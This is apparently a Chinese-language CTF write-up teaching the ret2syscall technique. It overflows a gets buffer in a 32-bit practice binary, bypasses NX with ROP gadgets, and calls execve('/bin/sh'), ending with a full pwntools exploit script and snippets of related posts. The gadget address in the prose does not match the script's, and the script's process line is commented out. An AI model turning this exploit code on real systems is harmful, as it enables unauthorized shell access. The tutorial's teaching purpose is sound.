ret2syscall,即控制程式執行系統呼叫,進而獲取shell。
下面看看我們的vuln程式。
可以看出,程式中的gets有明顯的 溢位漏洞
用gdb開啟,
檢查一下檔案開啟了哪些防護:
可以看出程式開啟了 nx(棧不可執行)防護,那麼,我們可以用rop繞過防護
接來下,我們利用溢位漏洞來控制程式執行syscall(系統呼叫)
有關syscall系統呼叫的資訊,可以在這裡檢視:
漏洞利用思路:
1、計算字串儲存開始的地方到ebp之間的長度。
2、用某個字元填充這一段記憶體。
3、找到系統呼叫的位址 (int 80)
4、找到系統呼叫需要的引數,可以在上面的那個**檢視,我們分別需要控制eax,ebx,ecx,edx這4個暫存器
5、找到相應的gadget,即pop..ret的位址、「/bin/sh」的位址
這裡可以看出v4(放我們輸入的字串的地方)在esp+1c的地方
相對應棧頂指標的索引,一般需要進行除錯
我們把斷點定在gets處:
計算:esp+1c - ebp = 0x6c (108)
因為這個32位程式,所以在108+4個字元後,就開始覆蓋eip了,即開始覆蓋函式的返回位址。
所以 payload='a' * 112
我們呼叫syscall之前,需要先把引數設定好
eax:0xb( sys_execve),ebx:『/bin/sh』的位址,ecx:null,edx:null
這裡就需要利用到我們的gadget,
我們可以通過 ropgadget.py 來獲取我們需要的gadget
命令:python rop.py --binary ./rop2syscall --only "pop|ret" | grep 'eax'得到位址後,我們繼續構造payload得到:0x0804f704 : pop eax ; ret 3
命令:python rop.py --binary ./rop2syscall --only "pop|ret"
得到:0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
命令: python rop.py --binary ./rop2syscall --string "/bin/sh"
得到:0x080be408 : /bin/sh
命令:python rop.py --binary ./rop2syscall --only "int"
得到:0x08049421 : int 0x80
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)
完整的exp:
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
syscall = 0x08049421
#80io=process('./rop2syscall')
payload = 'a'*112
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(bin_sh)
payload += p32(syscall)
io.sendline(payload)
io.interactive()
利用ROP Ret2Syscall突破NX保護
利用rop ret2syscall突破nx保護 ret2text依賴的是系統中有system函式,但是有的程式裡面沒有system,並且有的程式開啟了nx保護,這是就不能使用ret2shellcode自定義shellcode 因此,我們就要用ret2syscall幫忙實現。gadgets 是指在程式...
PWN基礎8 Ret2Text 例項
1 棧溢位快速確定偏移量 cyclic 200 cyclic l 異常位址 pattern create 200 pattern offset 異常位址 2 定位system函式 objdump t 檢視程式中使用到的函式 objdump d 檢視程式中函式的彙編 objdump d m intel...
與ret2shellcode的初相識
發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害 ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來...